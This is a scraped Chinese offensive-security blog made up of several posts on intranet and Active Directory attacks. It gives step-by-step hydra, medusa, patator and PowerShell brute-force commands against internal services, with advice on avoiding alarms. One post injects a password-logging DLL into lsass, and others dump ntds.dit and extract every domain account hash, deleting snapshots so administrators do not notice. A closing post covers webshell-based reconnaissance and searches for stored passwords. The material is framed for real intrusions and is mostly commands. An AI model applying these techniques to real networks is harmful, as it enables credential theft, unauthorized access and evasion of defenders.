Evil-404

专注于 APT 攻防研究,致力于高质量实用干货分享


  • 首页

  • 导航

  • 分类

  • 归档

  • 标签

  • 关于

  • 搜索

永不消失的 '0day' [ 弱口令 ]

发表于 2016-08-19 | 更新于: 2017-11-08 | 分类于 service brute force
字数统计: 4,272 | 阅读时长 ≈ 17

0x01 hydra 选项用途简要说明

这里暂以linux平台使用为例,实际测试中也推荐大家在linux平台上自己编译,不然有些服务模块可能不太好使,虽然已经有编译好的win版本,但不太建议实际用,如果真没办法非要在win上跑,建议大家还是用7.x之前的版本吧,新版本中确实还有很多问题

1
2
3
4
5
6
7
8
9
10
11
12
-R	从上次未完成的爆破文件[hydra.restore]中读取爆破进度并接着上次的进度继续往后爆破
-S 爆破https时需要加上该选项
-s 如果要爆破的服务用的不是默认端口,可以用这个来手工指定服务端口号
-l/-L 指定用户名 / 指定用户名字典文件
-p/-P 指定密码 / 指定密码字典文件[字典务必要自己精心准备,别人的始终不适合自己的环境]
-e 尝试空密码[n]/尝试将用户名作为密码[s]/尝试将用户名和密码位置调换爆破[r]
-f/-F 当爆出第一个正确的密码后,就自动退出程序,-f表示单个'进程'退出,-F表示全局退出
-t 指定爆破进程,实际爆破中给8个左右即可,太高了容易报警,速度慢不怕,就怕动静儿太大,这里只是个参考,如果目标内网环境相对比较松,可以适当再放大一点,当然,肯定不能无限大,基于目标系统而定,大家酌情使用吧
-w 设定超时时长,默认32秒,一般情况10秒即可
-4/-6 4表示用ipv4,6表示用ipv6
-v 显示爆破信息
-M 把要爆破的目标都写到一个文件中,每行对应一个目标,支持域名,CIDR格式,或者单个ip的形式

0x02 在linux中编译安装hydra,此处暂以centos6.8 x64为例:

务必事先安装好所需的各种依赖库,因为hydra在破解各种服务的时候,可能会用到各类服务自己devel库中的一些函数,也就意味着你可能要装很多个库,因为它本身就支持很多服务的在线爆破,其实,就这一点来说,hydra本身做的事情并不算多,因为大多都要依赖别的库函数来实现,这样来看的话,hydra本质上只是把各种服务整合了一下

1
2
3
4
5
6
7
8
# tar -zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build/
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make && make install
# echo $?
# /sbin/ldconfig

0x03 安装 hydra 的各种依赖库

下面中的有一些库,有可能在你的环境中直接用yum装不上,没办法了,只能你自己稍微勤快点,去谷歌上找找,然后再单独手工把它装上,放心,肯定能找到解决办法的,如果中间有库装不上,可能在编译hydra时确实是可以编译成功,但等到后期实际爆破某些服务的时候就会出现各种问题

1
2
3
# yum groupinstall "Development Tools"
# yum install openssl-devel pcre-devel ncurses-devel ncurses postgresql-devel libssh-devel subversion-devel gcc cmake mysql-devel subversion-devel ncpfs-devel postgresql-devel libncurses-devel libidn-devel libpqxx-devel apr-devel apr-util-devel firebird-devel afpfs-ng-devel
# echo $?

0x04 编译安装hydra
可以看到就hydra 本身的编译安装过程倒是非常简单,你也可以用–prefix指定安装目录,走的时候方便顺手把整个安装目录干掉即可

1
2
3
4
# tar -zxf hydra-8.0.tar.gz
# cd hydra-8.0
# ./configure && make && make install
# hydra -h

0x05 针对各类服务的实例爆破演示:

爆破mssql [大多可能都是直接针对sa,想快速getshell,实际测试速度和精度都还不错]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 mssql://192.168.3.23

hydra brute force

爆破smb [速度还是比较快的,针对普通域内网的效果可能会好点]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 smb://192.168.3.23

hydra brute force

爆破rlogin [该服务用的可能已经不太多了]:

1
# hydra  -L user.txt -P pass.txt -f -v rlogin://192.168.3.161

hydra brute force

爆破mysql [可能主要也是针对root,如果目标有waf,可能就不太好使了,过多的数据库连接容易触发报警,如果目标是linux,爆破速度还是蛮快的]:

1
# hydra -l root -P pass.txt -f -v -t 20 mysql://192.168.3.13

hydra brute force

爆破postgresql [实际测试中,速度还是蛮快的咧]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 postgres://192.168.3.23

hydra brute force

爆破rdp [ 对于08以上的系统基本就是个废,在本地多次测试均未成功,不过对于03以下的机器目前暂时还是比较可行的]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 rdp://192.168.3.23

hydra brute force

爆破ssh [正常情况下的速度还可以,前面装libssh就是为了爆破它的]:

1
# hydra -l root -P pass.txt -f -v -t 20 ssh://192.168.3.160

hydra brute force

爆破smtp[需要带目标域名后缀,所有的邮箱破解类的实际测试中都不太稳定[怀疑是某些防护的原因],偶尔能跑出来,偶尔又跑不出来,不太建议实战中用]:

1
# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

hydra brute force

爆破pop3[不需要域名后缀,只需正确的账号密码即可,同样,很不稳定,有兴趣,可以拿常用公共邮箱测测精度,如:gmail,outlook,126,163,sina,qq…]:

1
# hydra -L user.txt -P pass.txt -v -f -t 20 smtp://192.168.3.160

爆破ftp [还算靠谱,不过需要前期好好搜集下目标的用户名]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 ftp://192.168.3.23

hydra brute force

爆破telnet [靠谱]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 telnet://192.168.3.23

hydra brute force

爆破vnc [无须用户名,本地多次测试都未成功]:

1
# hydra  -P pass.txt -f -v -t 20 vnc://192.168.3.23

爆破snmp [暂时还好使]:

1
# hydra  -P pass.txt -f -v -t 20 snmp://192.168.3.160

hydra brute force

爆破svn [实际中多次测试均未跑出来]:

1
# hydra -L user.txt -P pass.txt -f -v -t 20 svn://192.168.3.13

爆破ldap2/3(同样跑不出来):

1
# hydra -L user.txt -P pass.txt -f -v -t 20 ldap2://192.168.3.161

爆破redis:


hydra 使用小结:
    支持的服务比较多,这里就不一一演示了,大家可根据实际情况针对性的用,就个人使用来讲,hydra精度真的很一般 [尤其是在爆破各类邮件服务时,比如,pop3,smtp[这个还好点儿] ,imap,时好时坏,极不稳定,原因暂未找],速度也极为一般,单单就稳定性来讲,不是很靠谱,不过这里仅供参考,建议大家还是根据自己的实际情况来,一面之词,不足为信,大家可以自己实际使用为准


0x05 使用 medusa

偶尔会断,原因暂未查,不过,如果是实际爆破,相对来讲,个人还是比较推荐这个,尤其当拿下的目标机器是linux时,虽然,它支持的服务可能并没有hydra那么多,但个人还是比较喜欢它 [稳定,精度较高],毕竟是帮忙搞了不少事情,不幸的是,它没有win版,作者说它自己用Cygwin始终都没编译成功,如果你编译成功了,请立马告诉他,他也许还会请你喝杯啤酒啥的,嘿嘿……

支持爆破的服务模块,在kali中的默认路径如下:

1
/usr/lib/medusa/modules

自己编译后的默认服务模块路径,默认如下

1
/usr/local/lib/medusa/modules

关于不同系统平台所要安装的一些依赖库,在工具官方站点中已有详细说明,链接如下,请自行查看

1
http://foofus.net/goons/jmk/medusa/medusa.html

编译安装medusa和hydra几乎没什么区别,非常简单[此处同样是以centos6.8 x64为例]:

1
2
3
4
5
6
7
8
# yum groupinstall "Development Tools"
# yum install openssl-devel libssh2-devel postgresql-devel subversion-devel freerdp-devel
# tar -zxf medusa-2.2.tar.gz
# cd medusa-2.2
# vi INSTALL
# ./configure && make && make install
# echo $?
# medusa -h

0x06 常用选项功能说明,跟hydra选项用法基本一致,看看命令帮助就知道了,这儿不再细说:

1
2
3
4
5
6
7
8
9
10
-h 	指定目标ip或者域名
-H 要爆破多个目标时,可以统一把他们先放到一个文件中,用该选项指定即可,每个目标对应单独的一行
-u/-U 指定用户名或者包含用户名的字典
-p/-P 指定单个密码或者包含密码的字典[务必精心准备]
-e n/s 跟hydra一样,尝试空密码,把用户名当密码尝试,
-M 指定要爆破的服务模块,比如是medusa支持的服务才可以,至于具体支持那些服务,看前面的模块目录即可知
-n 如果服务不是默认的端口,用该选项手工指定端口号
-s 启用ssl
-f 在爆出第一个密码之后就退出该程序
-v 显示爆破详情

0x07 下面是针对各类服务的一些实例爆破演示

爆破mssql [同样是只针对sa]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M mssql

mesua brute force

爆破mysql [针对root用户]:

1
# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M mysql

mesua brute force

爆破smb [倒是很麻利]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M smbnt

mesua brute force

爆破postgresql [速度非常快]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M postgres

mesua brute force

爆破rlogin [暂时还有些问题]:

1
# medusa -h 192.168.3.11 -U user.txt -P pass.txt -f -M rlogin

爆破rdp [速度还不错,兼容性也非常好,起码自己在跑 2012r2 机器的rdp都没什么问题,12r2以下的系统版本就更不用说了]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M rdp

mesua brute force

爆破ssh [速度一般,不过精度还可以]:

1
# medusa -h 192.168.3.11 -u root -P pass.txt -f -M ssh

mesua brute force

爆破telnet [还有问题]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M telnet

爆破ftp [实际测试中速度还是比较慢的]:

1
# medusa -h 192.168.3.23 -U user.txt -P pass.txt -f -M ftp

mesua brute force

爆破smtp [跟hydra一样,所有的邮箱服务爆破都有问题]:

1
# medusa -h target.org -u target_name@target.org -P pass.txt -f -M smtp

爆破imap:

1
# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M imap

爆破pop3:

1
# medusa -h 192.168.3.23 -u target_name@target.org -P pass.txt -f -M pop3

爆破snmp [有问题]:

1
# medusa -h 192.168.3.160  -P pass.txt -f -v -t 20 -M snmp

爆破svn [也有问题]:

1
# medusa -h 192.168.3.13 -U user.txt -P pass.txt -f -M svn

爆破vnc [现在基本是没什么人用了,实际中遇到的也不太多,大多都换成了teamviewer]:

0x08 medusa使用小结:

1
相对稳定,精度较高,字典不易过大,控制在一万以内的高质字典即可,可能是程序本身或者目标防护的问题,有时候莫名其妙的异常,总体来讲,个人推荐



0x09 关于patator

基于py2.7 ,可定制度高,实际中你也可以选择用pywin32之类的东西把它打包成exe,某些服务模块貌似只能在linux中运行[也可能是由于我自己的系统原因吧],另外,其它的问题也非常多,极不建议在实战中使用,拿来作为样本学习还是可以的:

安装好第三方py库

1
2
3
4
5
# pip install pycrypto pyopenssl 加密库也经常报错
# pip install impacket 网络库一样经常报错
# pip install paramiko
# pip install IPy
# pip install dnspython

0x10 下面是实际爆破成功的一些服务

尝试爆破smb [速度还算可以]:

1
# python patator.py smb_login host=192.168.3.23 port=445 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

尝试爆破ftp [非常慢]:

1
# python patator.py ftp_login host=192.168.3.23 port=21 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

尝试爆破ssh [速度一般]:

1
# python patator.py ssh_login host=192.168.3.11 port=22 user=FILE0 password=FILE1 0=user.txt 1=pass.txt

patator brute force

另外还要爆破各类post表单的,请大家自行尝试,这里不再细说

0x11 patator使用小结:
    用来跑一些比较简单的服务和post表单还行,其它的就算了吧[基本是不能用于实际的渗透场景的],另外,脚本自身还存在n多问题,除了上面这几个服务可以成功,别的基本都是不可用的,尤其是在跑一些加密服务的时候,各种错,而且依赖的插件太多[说实话,如果是在目标机器上,我都有装py库的权限了,为什么还非要用你呢,当然,如果直接是socks代理进去,就更不会用你了],从代码也大概能看的出来,作者似乎有些漫不经心,反正个人很少用,大家随意



0x12 如果是直接处在目标域内网中,直接用powershell来爆破,无疑是极好的,优点,免杀效果好,小巧,灵活,定制度高,win平台首选,缺点,速度稍慢:

爆破mssql [sa]:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}"

powershell brute force

爆破ftp:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service Ftp -Verbose}"

powershell brute force

爆破域内用户:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName rootkit.org -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}"

powershell brute force

0x13 使用 dbpwAudit [一款专门针对各类数据库的爆破工具一款专门针对各类数据库的爆破工具,优势在于利用驱动跑,速度非常快]

存放各类数据库驱动的默认目录:

1
/usr/share/dbpwaudit/lib

powershell brute force
powershell brute force

爆破mysql [暂只支持mysql 5.1以下]:

1
# dbpwaudit -s 192.168.3.23 -p 3306 -D Mysql -d mysql -U user.txt -P weak.txt

爆破mssql [暂只支持mssql 2005以下]

1
# dbpwaudit -s 192.168.3.23 -p 1433 -D Mssql -d master -U user.txt -P weak.txt

0x14 利用 burpsuite 爆破各类登陆表单

powershell brute force

0x15 基于perl的各种爆破小脚本,非常适合linux平台,抽空会补充上来:

一点小结:
    不得不说,这类的爆破攻击,势必要在目标的系统里面留下大量的登陆日志,而且得别人让你爆才行,实际测试可知,先不说专业的ids,如果目标部署了mcafee企业套装,只要勾选了”爆破攻击”规则,这些工具基本就废了一大半,但,不一定就不好用,在你山穷水尽,走投无路之时,任何手段都是可以被尝试的,另外,个人还是更推荐用一些单文件[对于一款渗透工具来讲,其依赖自然是越少越好,体积越小越好,对系统影响越轻越好,也许你会发现,各种py工具表面貌似很强大,但仔细深究,基本全都是在用别人的库不停的重复造轮子……嘿嘿,不说了,怕挨打]的小脚本[上面这些工具需要安装的东西确实有点儿多],如果有,拿来改吧改吧用即可,实在没有,想办法自己写也行,尽管这种招数确实很低级,但你可以把它做的不低级 [比如,你可以把大量的功夫下在字典上],而且很高效,成败归根结底在人,如果你手里实在没有像样的0day,那就别硬装那个逼,虚心慢慢搞就是了,反正我们的最终目标是拿到目标系统的最高权限,至于中间用什么手段没人会在意,说的天花乱坠,但最终还是没有搞进去,等于说了一堆废话,务必时刻清楚,我们不是在做学术讨论,任何攻击研究,如果没法很好的用于实战,都是空架子,但当你真正搞进去了,哪怕你是用自己猜密码绝技进去的,你一样可以把它说的非常高深,这就是现实,没办法,有时候百分之九十九等于0,有时候百分之一等于100,在你没搞到完整权限之前,多做少说,方成大器,最后关于如何做字典的注意事项[程序算法始终有限],会在后续的相关文章中,仔细说明,比较多,话说回来,可能百分之九十九的人,都会觉得爆破是很low的,嘿嘿……其实,我想说,如果你前期的信息搜集非常到位,爆破往往是最快,最直接,也是最致命的,顺便提醒大家一下,小心蜜罐

维持域管权限的一些简单办法[ Hook PasswordChangeNotify ]

发表于 2016-08-17 | 更新于: 2017-11-19 | 分类于 getdomain
字数统计: 226 | 阅读时长 ≈ 1



可利用 Hook PasswordChangeNotify 的方式,无需重启系统,且能实时记录修改的密码,只要目标机器不重启一般都不会失效,具体方法很简单,首先,准备好 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 [主要是用它来把我们事先准备好的 HookPasswordChange.dll 注入到 lsass 进程中,这里有点类似劫持的意思],实际渗透中,并不一定非要把它记录在目标系统的本地文件中[记录到的密码默认放在c:\windows\temp\passwords.txt文件中],你也可以尝试直接把记录到的账号发送到远程指定的邮箱中[有人已提供改进过的dll],自己去谷歌找找,应该可以找到,下面是在本地测试的实际效果:

1
# powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}"

实际的效果如下


完整导出域内用户hash小记 [powershell离线提取域内所有账户hash]

发表于 2016-08-16 | 更新于: 2017-10-26 | 分类于 domainhash
字数统计: 219 | 阅读时长 ≈ 1



1
利用 DSInternals PowerShell

本地测试环境:

1
win 2012r2

离线导出环境要求:

1
2
Windows PowerShell 3+
.NET Framework 4.5+

支持的系统:

1
2
3
4
5
Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit

先看下当前系统的powershell版本:

1
ps > Get-Host | Select-Object Version

放开pwoershell脚本执行限制:

1
Set-ExecutionPolicy Unrestricted


准备好ntds.dit和SYSTEM.hiv文件:

1
2
3
ntds.dit [可以利用shadowcopy.bat快速获取]
system.hiv [reg即可获取]
reg save hklm\system system.hive

安装,导入DSInternals模块:

1
2
3
cd DSInternals
powershell
Import-Module .\DSInternals

直接导出域内所有用户hash

1
2
$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -All -DBPath "C:\ntds.dit" -BootKey $key | Out-File hash.txt

也可只获取指定账户的详细信息

1
2
$key = Get-BootKey -SystemHivePath "C:\system.hive"
Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=klionsec,DC=org' -DBPath 'C:\ntds.dit' -BootKey $key


完整导出域内用户hash小记 [vshadow + ShadowCopy + QuarksPwDump]

发表于 2016-08-15 | 更新于: 2017-11-30 | 分类于 domainhash
字数统计: 309 | 阅读时长 ≈ 1



利用vsshadow [ 微软的卷影拷贝工具 ],来复制出ntds.dit,从而导出域内所有用户hash,本地虽然没问题,但实际测试中有时候会不好使

第一步:将三个工具都传到目标机器的同一目录下

1
vshadow.exe + ShadowCopy.bat + QuarksPwDump.exe

shadowcopy.cat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%




第二步:然后以管理员权限运行ShadowCopy.bat脚本,之后提取的ntds.dit会被复制到当前目录,利用esentutl工具修复ntds.dit文件

1
esentutl /p /o ntds.dit


第三步:利用QuarksPwDump 读取修复后的ntds.dit文件,导出域内所有账户hash

1
2
reg save hklm\system system.hive 同样还是先导出syskey
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive -o c:\res.txt 一定要注意这里要给绝对路径,选项参数之间只能有一个空格


完整导出域内用户hash小记 [ ntdsutil + QuarksPwDump ]

发表于 2016-08-14 | 更新于: 2017-10-26 | 分类于 domainhash
字数统计: 278 | 阅读时长 ≈ 1



自己在实际渗透中这种方法用的相对比较多[方便快捷],ntdsutil[ad数据库的命令行管理工具],利用它我们可以快速手工创建快照导出域内用户数据库),像这样的操作,实际渗透中还是不要交互的好,所以下面会全部都以非交互的方式来进行:

1
ntdsutil + QuarksPwDump

第一步:创建快照

1
ntdsutil snapshot "activate instance ntds" create quit quit

第二步:挂载刚才生成好的快照:

1
ntdsutil snapshot "mount {793a0923-1a83-428b-8860-535fb2b2866a}" quit quit


第三步:把导出的ntds数据库复制到指定位置

1
copy C:\$SNAP_201705211114_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit

第四步:删除快照,还是要注意千万别忘了,被管理发现始终不太好

1
ntdsutil snapshot "unmount {793a0923-1a83-428b-8860-535fb2b2866a}" "delete {793a0923-1a83-428b-8860-535fb2b2866a}" quit quit

第五步:开始利用QuarksPwDump提取账户hash

1
2
reg save hklm\system system.hiv  提取syskey,这里就直接放到当前目录下了,等会儿提取hash要用
QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv -o c:\pass.txt

完整导出域内用户hash小记 [vssown.vbs + libesedb + NtdsXtract]

发表于 2016-08-13 | 更新于: 2017-06-24 | 分类于 domainhash
字数统计: 341 | 阅读时长 ≈ 1



本地测试环境:
    域控 2008 r2 64bit

离线利用linux提取域内所有用户hash,实际测试可行,不过文件确实有点儿大,用于测试的系统域内用户只有十个左右,却已经打了12M[按这样算的话,一千个用户也就将近1G],如果用户量特别大的话,可想而知,不过好在信息非常全:

1
vssown.vbs + libesedb + NtdsXtract

查看vssown.vbs帮助:

1
cscript vssown.vbs


第一步,启动服务:

1
2
cscript vssown.vbs /start
cscript vssown.vbs /status


第二步,创建快照:

1
2
cscript vssown.vbs /create C
cscript vssown.vbs /list


第三步,把SYSTEM和ntds.dit文件都复制回本地,如果比较多,下回本地确实有点儿麻烦:

1
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .


第四步,删除快照,这非常重要,千万不要忘了,不然被管理员看到就不太好了:

1
cscript vssown.vbs /delete *


1
cscript vssown.vbs /stop


第五步,在本地编译安装好libesedb 和 NTDSXtract,这里我把它俩都放到同级目录中了:

1
2
3
4
# ./configure
# make
# cd esedbtools/
# ./esedbexport ./ntds.dit 这里我已经把ntds.dit复制到当前目录下了


1
2
3
4
# mv ntds.dit.export/ ../../
# cd ../../
# cd NTDSXtract\ 1.0/
# python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM' 这里的SYSTEM文件最好给绝对路径




域内信息搜集实战

发表于 2016-08-12 | 更新于: 2017-10-25 | 分类于 active pentest
字数统计: 3,389 | 阅读时长 ≈ 13



0x01 搜集本机信息:

    这里就以拥有一个域内网中的普通用户[注意,这里并不是域用户哦]权限的机器的webshell作为我们整个域内渗透的开始,首先,没别的,先搜集下各种信息,主要是搜集各类账号密码,自然是翻到的越多越好(多一个有用的密码或hash就多一条生路),废话不多说,我们开始正题,从搜集本机信息开始,理论上来讲,拿到webshell的第一反应,没别的,先看下当前用户的系统权限再说,直接是system权限的这种情况咱们找时间另说,就先以一个很普通的网站用户权限,来继续我们下面的内容,whoami加上all参数可以把当前用户的sid也顺带查出来,只是告诉大家可以用这种方式查用户sid,虽然这个用户的sid没什么卵用,但如果是域管的就不一样了

1
# whoami  /all

''

接着再来看看本机的网络配置,主要是想看看当前机器是否处在内网,有几个内网,内网段分别是多少,是否是在域内网,网关是多少,dns指向的ip是哪里,当然,你也可以用wmic来查,但那个显示的并不是很完整,个人早已习惯了ipconfig /all,所以就用这个了

1
# ipconfig /all

''

查看所有登录到当前系统中的用户状态,主要还是想看看管理员在不在(哪怕不在,最近登录过也好,加入提成了,还能抓下历史明文),当然,query的用法并非仅限于此,关于query 的更多用法,请自行查看该命令帮助

1
# query user

''

看下当前系统中的所有网络连接(包括tcp和udp的),以及每个连接所对应的发起程序,主要是想看看有没有我们可以快速利用到的一些服务,运气好的情况下,你甚至可以看到同行的tcp马还在上面,如果是域控机器,这个连接[udp]可能会有非常多,你可以选择先把它重定向到文件然后下下来看

1
2
# netstat -ano | more
# netstat -anob >> portres.txt

''

查下本机的arp记录,看看最近和本机通信过的其它内网机器,在这里也许你会发现其它工具扫不到的机器和网段

1
# arp -a

''

看看本机的防火墙配置及状态,win建议用’netsh advfirewall firewall’,看你心情,随便用哪个,反正只是用个工具而已,能出正确的结果即可,不纠结

1
# netsh firewall show config

''

1
2
# netsh advfirewall firewall show rule name=all | more  
# netsh firewall show state

''

查看当前机器本地系统中的环境变量,主要是想瞅瞅path里面有没有我们可以利用到的一些运行环境,比如py,java(免杀效果好,不过这个,一般权限也比较高),ps(免杀效果好),ruby,perl等等……这样一来会方便我们后续用一些外部工具

1
# set

''

获取本机的mac,伪造mac可能会用得上

1
# getmac

''

查看当前windows的内核版本,其实可以忽略,systeminfo一下就搞定了,如果你只是想快速的看下当前系统的内核版本,不妨用用

1
# ver

查看当前系统中安装的所有软件及软件所对应的具体版本,看看有没有我们提权能用到的

1
# wmic product get name,version

''

查看当前系统中各个分区的大概使用情况,拷文件的时候心里有个谱

1
# wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem,volumeserialnumber

''

看下当前系统的补丁打的如何,因为数据比较多时间较长,菜刀里面很容易超时,不过,多试几次就好了

1
# wmic qfe get CSName,Description,hotfixid

''

当然,你还有更简单直观的命令可以选择,查看当前系统的详细配置,不过回显的内容比较多,可能也会出现超时的情况

1
# systeminfo

''

快速定位一些能提权的补丁编号,当然,你要自己针对目标的系统(03和08以上最好分开单独准备)事先准备好一些补丁号,记得务必要在可读写目录中执行该语句,因为它要创创建临时文件

1
# systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440  KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt

''

1
# wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3079904" 这是补丁安装后的状态

''

查看当前机器所安装的驱动,必要的时候,兴许对提权有些帮助,不过对虚拟机可能并没什么卵用,如果是实体物理机兴许还能利用上

1
# driverquery

''

查看当前机器的开启了哪些共享

1
2
# net share 
# net share \\hostname 查看指定的远程机器所开放的共享

''

1
# wmic share  get name,path,status  利用wmic查找共享

如果有条件的情况下,可以跟踪下路由,看看出口的公网ip,时间可能比较长(毕竟一跳一跳的走,中间一个超时就会卡很久),如果是菜刀可能会超时

1
# tracert www.google.com

查看当前机器都起了哪些进程,主要是想看看用的什么杀软,什么监控,什么服务等等……心里先有个底

1
# tasklist /svc

''

1
# tasklist /V  看下发起进程的用户身份,当然,你只能看到你有权限看到的

''

1
# wmic process where name='*.exe' list full   查询某个进程所对应某个具体的可执行程序是什么

''

1
2
3
4
5
6
7
8
9
10
# hostname 	  查看当前机器的主机名
# net start 查看当前系统已经启动的一些服务,注意这里的*scanner,很显然,已经有同行搞过,信心是不是有大了一点呢,嘿嘿……
# net session 查看当前系统正在连接的会话有哪些,权限要够,菜刀用的组件可能权限不允许,换大马会好点
# net user 查看本地所有的用户名
# net localgroup 查看本地所有的组名
# net localgroup "administrators" 查看指定组中的所有成员
# net localgroup "remote desktop users" 远程桌面组,如果你想要某个用户能进行远程桌面连接,可能需要把它加到该组中
# net accounts 查看本机的账号密码设置策略,添加用户的时候可能要注意下
# route print 打印下当前系统路由信息
# schtasks /query /fo list /v 查看本机的计划任务列表,win7以后就淘汰at了,不得不说schtasks是个非常好用的工具

找当前用户可读写目录,可能会很多,一般把根放在网站目录就好了,当然,你也可以传一些目录读写查询的小脚本来搞

1
# dir /a-r-d /s /b

setuid程序探测

除此之外,千万别忘了多去菜刀里面翻翻目录文件,兴趣能还能找到点儿有用的东西,有权限的情况下能翻多深就翻多深,另外,确实还有很多专门针对提权方面的系统信息探测,篇幅限制,到时会再单独拿出来做详细说明

0x02 搜集域内简要信息(期间务必仔细做好记录):

1
# net user /domain 	查看当前域中的所有用户名,根据用户名总数大概判断域的规模

''

1
# net user epoadmin /domain  查看指定用户在当前域中的详细属性信息

''

1
2
# net accounts /domain 		查看当前域的域内账户密码设置策略
# net config workstation 看看当前的登录域
1
# net view 	正常情况下可以用该命令查看当前域中在线的机器有哪些,但这样看着确实不太直观,稍微用批处理搞一下把机器名对应的ip也显示出来,岂不更畅快
1
2
3
4
5
6
7
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

''

1
2
3
4
5
6
7
8
# net view /domain       		 查看所有的域名称
# net view /domain:PROGRAM 查看指定域中在线的计算机列表
# net time /domain 查看主域位置,一般都会把主域作为时间服务器
# net group /domain 查看当前域中的所有组名
# net group "domain admins" /domain 看看当前域中的域管都有谁
# net group "domain computers" /domain 看看当前域中的所有的计算机名,应该是只要登录过该域计算机名都会被保存下来
# net group "domain controllers" /domain 看看域控是哪几个
# nltest /domain_trusts 查看域信任关系
1
2
3
4
5
6
7
# dsquery computer 				   查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个和目标系统版本对应的dsquery
# dsquery user 查看当前域中的所有账户名
# dsquery group 查看当前域内的所有组名
# dsquery subnet 查看到当前域所在的网段
# dsquery site 查看域内网站
# dsquery server 查看当前域中的所有服务器(应该是指域控)
# dsquery user domainroot -name admin* -limit 240 查询前240个以admin开头的用户名

0x03 尽可能多的搜集本机的各种密码数据,关键字大家随意,这里只是给几个常见的:

1
2
3
4
5
# dir /b /s config.* 			搜集本机所有的配置文件路径
# dir /b /s login*txt 也有一些管理员笔记喜欢用txt记录一些服务配置或者密码信息
# dir /b /s login* 所有带有login字段的文件名
# dir /b /s *.bak 所有以bak为后缀的的文件名
# dir /b /s *.config 所有以config为后缀的文件名

在所有后缀为asp,ini,txt,php,aspx……的文件中找到带有password字符串文件,查询的时间可能会比较长,菜刀可能又会超时,另外,这样这里所有的查找都以当前路径为基础的

1
2
3
4
# findstr /si password *.ini *.txt *.asp *.cgi  
# findstr /si password *.ini *.txt *.aspx
# findstr /si password *.ini *.txt *.php
# findstr /si password *.ini *.txt *.php *.xml

0x04 更多,待续……

一点小结:
